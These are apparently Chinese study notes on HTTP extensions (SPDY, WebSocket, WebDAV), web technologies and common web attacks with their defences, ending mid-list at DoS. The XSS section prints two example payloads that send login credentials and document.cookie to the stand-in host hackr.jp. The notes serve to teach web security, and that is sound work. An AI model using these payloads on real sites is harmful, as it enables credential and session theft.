基于HTTP的功能追加协议

SPDY：缩短Web页面的加载时间(50%)

陆续出现的Ajax和Comet等提高易用性的技术，一定程度上使HTTP得到了改善，但HTTP协议本身的限制也令人有些束手无策。为了进行根本性的改善，需要有一些协议层面上的改动

处于持续开发状态中的SPDY协议，正是为了在协议级别消除HTTP所遭遇的瓶颈

SPDY没有完全改写HTTP协议，而是在TCP/IP的应用层与运输层之间通过新加会话层的形式运作。同时，考虑到安全性问题，SPDY规定通信中使用SSL

SPDY以会话层的形式加入，控制对数据的流动，但还是采用HTTP建立通信连接。因此，可照常使用HTTP的GET和POST等方法、Cookie以及HTTP报文等

使用SPDY后，HTTP协议额外获得以下功能：

多路复用流：通过单一的TCP连接，可以无限制处理多个HTTP请求
赋予请求优先级：在发送多个请求时，解决因带宽低而导致响应变慢的问题
压缩HTTP首部：通信产生的数据包数量和发送的字节数就更少了
推送功能：服务器主动向客户端推送数据的功能，这样就不必等待客户端的请求
服务器提示功能：提示客户端请求所需的资源，由于在客户端发现资源之前就可以获知资源的存在，因此在资源已缓存等情况下，可以避免发送不必要的请求

SPDY基本上只是将单个域名（IP地址）的通信多路复用，所以当一个Web网站上使用多个域名下的资源，改善效果就会受到限制

SPDY的确是一种可有效消除HTTP瓶颈的技术，但很多Web网站存在的问题并非仅仅是由HTTP瓶颈所导致。对Web本身的速度提升，还应该从其他可细致钻研的地方入手，比如改善Web内容的编写方式等

Ajax(Asynchronous JavaScript and XML，异步JavaScript与XML技术)

当几百、几千万的用户发布内容时，Web网站为了保存这些新增内容，在很短的时间内就会发生大量的内容更新。

为了尽可能实时地显示这些更新的内容：

服务器上一有内容更新，就需要直接把那些内容反馈到客户端的界面上。虽然看起来挺简单的，但HTTP却无法妥善地处理好这项任务
使用HTTP协议探知服务器上是否有内容更新，就必须频繁地从客户端到服务器端进行确认。如果服务器上没有内容更新，那么就会产生徒劳的通信

HTTP标准会成为瓶颈：

一条连接上只可发送一个请求
请求只能从客户端开始，客户端不可以接收除响应以外的指令
请求/响应首部未经压缩就发送，首部信息越多延迟越大
发送冗长的首部，每次互相发送相同的首部造成的浪费较多
可任意选择数据压缩格式，非强制压缩发送

Ajax是一种有效利用JavaScript和DOM（Document Object Model，文档对象模型）的操作

Ajax的核心技术是名为XMLHttpRequest的API，通过JavaScript脚本语言的调用就能和服务器进行HTTP通信，借由这种手段，就能从已加载完毕的Web页面上发起请求，只更新局部页面。而利用Ajax实时地从服务器获取内容，有可能会导致大量请求产生。另外，Ajax仍未解决HTTP协议本身存在的问题

Comet：一旦服务器端有内容更新了，Comet不会让请求等待，而是直接给客户端返回响应
这是一种通过延迟应答，模拟实现服务器端向客户端推送（Server Push）的功能。

通常服务器端接收到请求，在处理完毕后就会立即返回响应，但为了实现推送功能，Comet会先将响应置于挂起状态，当服务器端有内容更新时，再返回该响应。内容上虽然可以做到实时更新，但为了保留响应，一次连接的持续时间也变长了，且维持连接会消耗更多的资源，Comet也仍未解决HTTP协议本身存在的问题

使用浏览器进行全双工通信的WebSocket

利用Ajax和Comet技术进行通信可以提升Web的浏览速度，但问题在于通信若使用HTTP协议，就无法彻底解决瓶颈问题。WebSocket网络技术正是为解决这些问题而实现的一套新协议及API

一旦web务器与客户端之间建立起WebSocket协议的通信连接，之后所有的通信都依靠这个专用协议进行。通信过程中可互相发送JSON、XML、HTML或图片等任意格式的数据

由于是建立在HTTP基础上的协议，因此连接的发起方仍是客户端，而一旦确立WebSocket通信连接，不论服务器还是客户端，任意一方都可直接向对方发送报文

WebSocket协议的主要特点：

服务器推送

支持由服务器向客户端推送数据的推送功能。这样，服务器可直接发送数据，而不必等待客户端的请求
保持连接，减少通信量

只要建立起WebSocket连接，就希望一直保持连接状态。和HTTP相比，不但每次连接时的总开销减少，而且由于WebSocket的首部信息很小，通信量也相应减少

为了实现WebSocket通信，需要用到HTTP的Upgrade首部字段，告知服务器通信协议发生改变，以达到握手的目的

JavaScript可调用The WebSocket API内提供的WebSocket程序接口，以实现WebSocket协议下全双工通信

Web服务器管理文件的WebDAV

WebDAV基于万维网的分布式创作和版本控制(Web-based Distributed Authoring and Versioning)是一个可对Web服务器上的内容直接进行文件复制、编辑等操作的分布式文件系统

使用HTTP/1.1的PUT方法和DELETE方法，就可以对Web服务器上的文件进行创建和删除操作。可是出于安全性及便捷性等考虑，一般不使用

针对服务器上的资源，WebDAV新增加了一些概念：

集合Collection：是一种统一管理多个资源的概念。以集合为单位可进行各种操作。也可实现类似集合的集合这样的叠加
资源Resource：把文件或集合称为资源
属性Property：定义资源的属性。定义以“名称 = 值”的格式执行
锁Lock：把文件设置成无法编辑状态。多人同时编辑时，可防止在同一时间进行内容写入

WebDAV为实现远程文件管理，向HTTP/1.1中追加了以下这些方法:

PROPFIND ：获取属性
PROPPATCH：修改属性
MKCOL ：创建集合
COPY ：复制资源及属性
MOVE ：移动资源
LOCK ：资源加锁
UNLOCK ：资源解锁

为配合扩展的方法，状态码也随之扩展：

102 Processing ：可正常处理请求，但目前是处理中状态
207 Multi-Status ：存在多种状态
422 Unprocessible●Entity ：格式正确，内容有误
423 Locked ：资源已被加锁
424 Failed Dependency ：处理与某请求关联的请求失败，因此不再维持依赖关系
507 Insufficient Storage ：保存空间不足

为何是HTTP广泛应用：

防火墙的基本功能就是禁止非指定的协议和端口号的数据包通过。因此如果使用新协议或端口号则必须修改防火墙设置。互联网上，使用率最高的当属Web。不管是否具备访问FTP和SSH的权限，一般公司都会开放对Web的访问
HTTP客户端的浏览器已相当普遍，HTTP服务器的数量已颇具规模，HTTP本身就是优异的应用等

构建Web内容的技术

HTML超文本标记语言HyperText Markup Language是为了发送Web上的超文本(Hypertext)而开发的标记语言

超文本是一种文档系统，可将文档中任意位置的信息与其他信息（文本或图片等）建立关联，即超链接文本
标记语言是指通过在文档的某部分穿插特别的字符串标签，用来修饰文档的语言。我们把出现在HTML文档内的这种特殊字符串叫做HTML标签(Tag)

浏览的Web页面几乎全是使用HTML写成的。由HTML构成的文档经过浏览器的解析、渲染后，呈现出来的结果就是Web页面

HTML5标准不仅解决了浏览器之间的兼容性问题，并且可把文本作为数据对待，更容易复用，动画等效果也变得更生动

CSS层叠样式表Cascading Style Sheets可以指定如何展现HTML内的各种元素，属于样式表标准之一

即使是相同的HTML文档，通过改变应用的CSS，用浏览器看到的页面外观也会随之改变。CSS的理念就是让文档的结构和设计分离，达到解耦的目的

可通过指定HTML元素或特定的class、ID等作为选择器来限定样式的应用范围

动态HTML指使用客户端脚本语言将静态的HTML内容变成动态的技术的总称

动态HTML技术是通过调用客户端脚本语言JavaScript，实现对HTML的Web页面的动态改造。利用DOM文档对象模型(Document Object Model)可指定欲发生动态变化的HTML元素

DOM是用以操作HTML文档和XML文档的API（ApplicationProgramming Interface，应用编程接口）

使用DOM可以将HTML内的元素当作对象操作，如取出元素内的字符串、改变那个CSS的属性等，使页面的设计发生改变

Web应用程序

Web应用是指通过Web功能提供的应用程序。比如购物网站、网上银行、SNS、BBS、搜索引擎和e-learning等。互联网（Internet）或企业内网（Intranet）上遍布各式各样的Web应用

类似这种由程序创建的内容称为动态内容，而事先准备好的内容称为静态内容。Web应用则作用于动态内容之上

CGI通用网关接口(Common Gateway Interface)是指Web服务器在接收到客户端发送过来的请求后转发给程序的一组机制。程序会对请求内容做出相应的动作，比如创建HTML等动态内容

CGI由于每次接到请求，程序都要跟着启动一次。因此一旦访问量过大，Web服务器要承担相当大的负载

Servlet(Java Servlet)是一种能在服务器上创建动态内容的程序。Servlet是用Java语言实现的一个接口，属于面向企业级Java(JavaEE,JavaEnterprise Edition)的一部分。Servlet运行在与Web服务器相同的进程中，因此受到的负载较小(Servlet常驻内存，因此在每次请求时，可启动相对进程级别更为轻量的Servlet，程序的执行效率从而变得更高)。Servlet的运行环境叫做Web容器或Servlet容器

Servlet作为解决CGI问题的对抗技术，随Java一起得到了普及

数据发布的格式及语言

XML可扩展标记语言(eXtensible Markup Language)是一种可按应用目标进行扩展的通用标记语言。旨在通过使用XML，使互联网数据共享变得更容易

为了保持数据的正确读取，HTML不适合用来记录数据结构
更容易地复用数据使得XML在互联网上被广泛接受

XML和HTML一样，使用标签构成树形结构，并且可自定义扩展标签。从XML文档中读取数据比起HTML更为简单。由于XML的结构基本上都是用标签分割而成的树形结构，因此通过语法分析器（Parser）的解析功能解析XML结构并取出数据元素，可更容易地对数据进行读取

RSS(简易信息聚合，也叫聚合内容)和Atom都是发布新闻或博客日志等更新信息文档的格式的总称。两者都用到了XML

JSON（JavaScript Object Notation）是一种以JavaScript（ECMAScript）的对象表示法为基础的轻量级数据标记语言。能够处理的数据类型有false/null/true/对象/数组/数字/字符串，这7种类型

JSON让数据更轻更纯粹，并且JSON的字符串形式可被JavaScript轻易地读入

初配合XML使用的Ajax技术也让JSON的应用变得更为广泛，其他各种编程语言也提供丰富的库类，以达到轻便操作JSON的目的

Web的攻击技术

简单的HTTP协议本身并不存在安全性问题，因此协议本身几乎不会成为攻击的对象。应用HTTP协议的服务器和客户端，以及运行在服务器上的Web应用等资源才是攻击目标。来自互联网的攻击大多是冲着Web站点来的，它们大多把Web应用作为攻击目标

从整体上看，HTTP就是一个通用的单纯协议机制。因此它具备较多优势，但是在安全性方面则呈劣势

SSH具备协议级别的认证及会话管理等功能，HTTP协议则没有。
对于HTTP，开发者需要自行设计并开发认证及会话管理功能来满足Web应用的安全。而自行设计就意味着会出现各种形形色色的实现。结果就是安全等级并不完备，可仍在运作的Web应用背后却隐藏着各种容易被攻击者滥用的安全漏洞的Bug

在客户端即可篡改请求

在Web应用中，从浏览器那接收到的HTTP请求的全部内容，都可以在客户端自由地变更、篡改

在HTTP请求报文内加载攻击代码，就能发起对Web应用的攻击。通过URL查询字段或表单、HTTP首部、Cookie等途径把攻击代码传入，若这时Web应用存在安全漏洞，那内部信息就会遭到窃取，或被攻击者拿到管理权限

对Web应用的攻击模式有以下两种

主动攻击active attack：攻击者通过直接访问Web应用，把攻击代码传入的攻击模式，由于该模式是直接针对服务器上的资源进行攻击，因此攻击者需要能够访问到那些资源

主动攻击模式里具有代表性的攻击是SQL注入攻击和OS命令注入攻击

被动攻击passive attack：利用圈套策略（浏览器或邮件客户端）执行攻击代码的攻击模式，不直接对目标Web应用访问发起攻击
1. 攻击者诱使用户触发已设置好的陷阱，而陷阱会启动发送已嵌入攻击代码的HTTP请求
2. 中招后的用户浏览器会把含有攻击代码的HTTP请求发送给作为攻击目标的Web应用，运行攻击代码
3. 执行完攻击代码，存在安全漏洞的Web应用会成为攻击者的跳板，可能导致用户所持的Cookie等个人信息被窃取，登录状态中的用户权限遭恶意滥用等后果
被动攻击模式中具有代表性的攻击是跨站脚本攻击和跨站点请求伪造

利用用户的身份攻击企业内部网络。可发起对原本从互联网上无法直接访问的企业内网等网络的攻击
很多企业内网依然可以连接到互联网上，访问Web网站，或接收互联网发来的邮件

输出值转义不完全引发的漏洞

Web安全对策：

客户端验证

多数情况下采用JavaScript在客户端验证数据。可是在客户端允许篡改数据或关闭JavaScript，不适合将JavaScript验证作为安全的防范对策。保留客户端验证只是为了尽早地辨识输入错误，起到提高UI体验的作用
应用端验证
1. 输入值验证
  
  Web应用端的输入值验证按Web应用内的处理则有可能被误认为是具有攻击性意义的代码。输入值验证通常是指检查是否是符合系统业务逻辑的数值或检查字符编码等预防对策
2. 输出值转义
  
  从数据库或文件系统、HTML、邮件等输出Web应用处理的数据之际，针对输出做值转义处理是一项至关重要的安全策略。当输出值转义不完全时，会因触发攻击者传入的攻击代码，而给输出对象带来损害

XSS跨站脚本攻击(Cross-Site Scripting)

是指通过存在安全漏洞的Web网站注册用户的浏览器内运行非法的HTML标签或JavaScript进行的一种攻击。动态创建的HTML部分有可能隐藏着安全漏洞。就这样，攻击者编写脚本设下陷阱，用户在自己的浏览器上运行时，一不小心就会受到被动攻击

跨站脚本攻击有可能造成以下影响：

利用虚假输入表单骗取用户个人信息
利用脚本窃取用户的 Cookie 值，被害者在不知情的情况下，帮助攻击者发送恶意请求
显示伪造的文章和图片

XSS是攻击者利用预先设置的陷阱触发的被动攻击，跨站脚本攻击属于被动攻击模式，因此攻击者会事先布置好用于攻击的陷阱

下图网站通过地址栏中URI的查询字段指定ID，即相当于在表单内自动填写字符串的功能。而就在这个地方，隐藏着可执行跨站脚本攻击的漏洞

创建了下面这段嵌入恶意代码的URL。并隐藏植入事先准备好的欺诈邮件中或Web页面内，诱使用户去点击该URL

http://example.jp/login?ID="><script>var+f=document⇒.getElementById("login");+f.action="http://hackr.jp/pwget";+f.method=⇒"get";</script><span+s="

浏览器打开该URI后，直观感觉没有发生任何变化，但设置好的脚本却偷偷开始运行了。当用户在表单内输入ID和密码之后，就会直接发送到攻击者的网站（也就是hackr.jp），导致个人登录信息被窃取

之后，ID及密码会传给该正规网站，而接下来仍然是按正常登录步骤，用户很难意识到自己的登录信息已遭泄露

对用户Cookie的窃取攻击

除了在表单中设下圈套之外，下面那种恶意构造的脚本同样能够以跨站脚本攻击的方式，窃取到用户的Cookie信息

<script src=http://hackr.jp/xss.js></script>

该脚本内指定的http://hackr.jp/xss.js文件。即下面这段采用JavaScript编写的代码

var content = escape(document.cookie);
document.write("<img src=http://hackr.jp/?");
document.write(content);
document.write(">");

在存在可跨站脚本攻击安全漏洞的Web应用上执行上面这段JavaScript程序，即可访问到该Web应用所处域名下的Cookie信息。然后这些信息会发送至攻击者的Web网站（http://hackr.jp/），记录在他的登录日志中。攻击者就这样窃取到用户的Cookie信息了

SQL注入攻击

针对Web应用使用的数据库，通过运行非法的SQL而产生的攻击。需要对数据库表内的数据进行检索或添加、删除等操作时，会使用SQL语句连接数据库进行特定的操作。如果在调用SQL语句的方式上存在疏漏，就有可能执行被恶意注入（Injection）非法SQL语句

SQL注入是攻击者将SQL语句改变成开发者意想不到的形式以达到破坏结构的攻击

OS命令注入攻击（OS Command Injection）是指通过Web应用执行非法的操作系统命令达到攻击的目的。只要在能调用Shell函数的地方就有存在被攻击的风险

可以从Web应用中通过Shell来调用操作系统命令。倘若调用Shell时存在疏漏，就可以执行插入的非法OS命令

OS命令注入攻击可以向Shell发送命令，让Windows或Linux操作系统的命令行启动程序。通过OS注入攻击可执行OS上安装着的各种程序

HTTP首部注入攻击（HTTP Header Injection）是指攻击者通过在响应首部字段内插入换行，添加任意响应首部或主体的一种攻击。属于被动攻击模式

HTTP响应截断攻击（HTTP Response Splitting Attack）：向首部主体内添加内容的攻击

HTTP首部注入可能通过在某些响应首部字段需要处理输出值的地方，插入换行发动攻击

HTTP首部注入攻击有可能会造成以下一些影响：

设置任何Cookie信息
重定向至任意URL
显示任意的主体（HTTP响应截断攻击）

缓存污染：滥用HTTP/1.1中汇集多响应返回功能，会导致缓存服务器对任意内容进行缓存操作

邮件首部注入攻击（Mail Header Injection）

通过向邮件首部To或Subject内任意添加非法内容发起的攻击

利用存在安全漏洞的Web网站，可对任意邮件地址发送广告邮件或病毒邮件

使用两个连续的换行符就有可能篡改邮件文本内容并发送

目录遍历（Directory Traversal）攻击

指对本无意公开的文件目录，通过非法截断其目录路径后，达成访问目的的一种攻击。这种攻击有时也称为路径遍历（Path Traversal）攻击

通过Web应用对文件处理操作时，在由外部指定文件名的处理存在疏漏的情况下，用户可使用.../等相对路径定位到/etc/passed等绝对路径上，因此服务器上任意的文件或文件目录皆有可能被访问到。这样一来就有可能非法浏览、篡改或删除Web服务器上的文件。

固然存在输出值转义的问题，但更应该关闭指定对任意文件名的访问权限

远程文件包含漏洞（Remote File Inclusion）

指当部分脚本内容需要从其他文件读入时，攻击者利用指定外部服务器的URL充当依赖文件，让脚本读取之后，就可运行任意脚本的一种攻击

这主要是PHP存在的安全漏洞，对PHP的include或require来说，这是一种可通过设定，指定外部服务器的URL作为文件名的功能。但是该功能太危险，PHP5.2.0之后默认设定此功能无效。

固然存在输出值转义的问题，但更应控制对任意文件名的指定

因设置或设计上的缺陷引发的安全漏洞

因设置或设计上的缺陷引发的安全漏洞是指，错误设置Web服务器，或是由设计上的一些问题引起的安全漏洞

强制浏览（Forced Browsing）安全漏洞

对那些原本不愿公开的文件，为了保证安全会隐蔽其URL。可一旦知道了那些URL，也就意味着可浏览URL对应的文件。直接显示容易推测的文件名或文件目录索引时，通过某些方法可能会使URL产生泄露

强制浏览有可能会造成以下影响：

泄露用户的个人信息等重要情报
泄露原本需要具有访问权限的用户才可查阅的信息内容
泄露未外连到外界的文件

即使没有对这篇日记的访问权限，只要知道这图片的URL，通过直接指定URL的方式就能显示该图片。日记的功能和文本具有访问对象的控制，但不具备对图片访问对象的控制，从而产生了安全漏洞

不正确的错误消息处理（Error Handling Vulnerability）的安全漏洞

指Web应用的错误信息内包含对攻击者有用的信息

与Web应用有关的主要错误信息：

Web 应用抛出的错误消息
数据库等系统抛出的错误消息

Web应用不必在用户的浏览画面上展现详细的错误消息。对攻击者来说，详细的错误消息有可能给他们下一次攻击以提示

系统抛出的错误信息：

PHP或ASP等脚本错误
数据库或中间件的错误
Web服务器的错误

各系统应对详细的错误消息进行抑制设定，或使用自定义错误消息，以避免某些错误信息给攻击者以启发

开放重定向（Open Redirect）是一种对指定的任意URL作重定向跳转的功能

假如指定的重定向URL到某个具有恶意的Web网站，那么用户就会被诱导至那个Web网站

可信度高的Web网站如果开放重定向功能，则很有可能被攻击者选中并用来作为钓鱼攻击的跳板

因会话管理疏忽引发的安全漏洞

会话管理是用来管理用户状态的必备功能，但是如果在会话管理上有所疏忽，就会导致用户的认证状态被窃取等后果

会话劫持（Session Hijack）是指攻击者通过某种手段拿到了用户的会话ID，并非法使用此会话ID伪装成用户，达到攻击的目的

具备认证功能的Web应用使用会话ID的会话管理机制，作为管理认证状态的主流方式。会话ID中记录客户端的Cookie等信息，服务器端将会话ID与认证状态进行一对一匹配管理

几种攻击者可获得会话ID的途径：

非正规的生成方法推测会话ID
窃听或XSS攻击盗取会话ID、Cookie
会话固定攻击（Session Fixation）强行获取

攻击者在得知该Web网站存在可跨站攻击（XSS）的安全漏洞后，就设置好用JavaScript脚本调用document.cookie以窃取Cookie信息的陷阱，一旦用户踏入陷阱（访问了该脚本），攻击者就能获取含有会话ID的Cookie。攻击者拿到用户的会话ID后，往自己的浏览器的Cookie中设置该会话ID，即可伪装成会话ID遭窃的用户

会话固定攻击（Session Fixation）攻击会强制用户使用攻击者指定的会话ID，属于被动攻击

攻击者准备陷阱，先访问Web网站拿到会话ID，此时会话ID在服务器上的记录仍是（未认证）状态

攻击者设置好强制用户使用该会话ID的陷阱，并等待用户拿着这个会话ID前去认证。一旦用户触发陷阱并完成认证，会话ID在服务器上的状态（用户A已认证）就会被记录下来

攻击者估计用户差不多已触发陷阱后，再利用之前这个会话ID访问网站。由于该会话ID目前已是（用户A已认证）状态，于是攻击者作为用户A的身份顺利登录网站

Session Adoption是指PHP或ASP.NET能够接收处理未知会话ID的功能

恶意使用该功能便可跳过会话固定攻击的准备阶段，从Web网站获得发行的会话ID的步骤。即，攻击者可私自创建会话ID构成陷阱，中间件却会误以为该会话ID是未知会话ID而接受

跨站点请求伪造（Cross-Site Request Forgeries，CSRF）攻击是指攻击者通过设置好的陷阱，强制对已完成认证的用户进行非预期的个人信息或设定信息等某些状态更新，属于被动攻击

跨站点请求伪造有可能会造成以下影响：

利用已通过认证的用户权限更新设定信息等
利用已通过认证的用户权限购买商品
利用已通过认证的用户权限在留言板上发表言论

在该留言板系统上，受害者用户A是已认证状态。它的浏览器中的Cookie持有已认证的会话ID

攻击者设置好一旦用户访问，即会发送在留言板上发表非主观行为产生的评论的请求的陷阱。用户A的浏览器执行完陷阱中的请求后，留言板上也就会留下那条评论

触发陷阱之际，如果用户A尚未通过认证，则无法利用用户A的身份权限在留言板上发表内容

其他安全漏洞

密码破解攻击（Password Cracking）即算出密码，突破认证

击不仅限于Web应用，还包括其他的系统，如FTP或SSH等

密码破解有以下两种手段：

通过网络的密码试错
对已加密密码的破解（指攻击者入侵系统，已获得加密或散列外理的密码数据的情况

除去突破认证的攻击手段，还有SQL注入攻击逃避认证，跨站脚本攻击窃取密码信息等方法

对Web应用提供的认证功能，通过网络尝试候选密码进行的一种攻击。主要有以下两种方式

穷举法

穷举法（Brute-force Attack，又称暴力破解法）是指对所有密钥集合构成的密钥空间（Keyspace）进行穷举。即，用所有可行的候选密码对目标的密码系统试错，用以突破验证的一种攻击
字典攻击

利用事先收集好的候选密码（经过各种组合方式后存入字典），枚举字典中的密码，尝试通过认证的一种攻击手法

Web应用在保存密码时，一般不会直接以明文的方式保存，通过散列函数做散列处理或加salt的手段对要保存的密码本身加密。即使攻击者使用某些手段窃取密码数据，如果想要真正使用这些密码，则必须先通过解码等手段，把加密处理的密码还原成明文形式

从加密过的数据中导出明文通常有以下几种方法：

通过穷举法-字典攻击进行类推

针对密码使用散列函数进行加密处理的情况，采用和穷举法或字典攻击相同的手法，尝试调用相同的散列函数加密候选密码，然后把计算出的散列值与目标散列值匹配，类推出密码

彩虹表

彩虹表（Rainbow Table）是由明文密码及与之对应的散列值构成的一张数据库表，是一种通过事先制作庞大的彩虹表，可在穷举法•字典攻击等实际破解过程中缩短消耗时间的技巧。从彩虹表内搜索散列值就可以推导出对应的明文密码

拿到密钥

使用共享密钥加密方式对密码数据进行加密处理的情况下，如果能通过某种手段拿到加密使用的密钥，也就可以对密码数据解密
加密算法的漏洞

考虑到加密算法本身可能存在的漏洞，利用该漏洞尝试解密也是一种可行的方法。但是要找到那些已广泛使用的加密算法的漏洞，又谈何容易，因此困难极大，不易成功。而Web应用开发者独立实现的加密算法，想必尚未经过充分的验证，还是很有可能存在漏洞的

点击劫持（Clickjacking）是指利用透明的按钮或链接做成陷阱，覆盖在Web页面之上。然后诱使用户在不知情的情况下，点击那个链接访问内容的一种攻击手段。这种行为又称为界面伪装（UI Redressing）。

已设置陷阱的Web页面，表面上内容并无不妥，但早已埋入想让用户点击的链接。当用户点击到透明的按钮时，实际上是点击了已指定透明属性元素的iframe页面。

DoS攻击（Denial of Service attack）是一种让运行中的服务呈停止状态的攻击。有时也叫做服务停止攻击或拒绝服务攻击。DoS攻击的对象不仅限于Web网站，还包括网络设备及服务器等。主要有以下两种DoS攻击方式：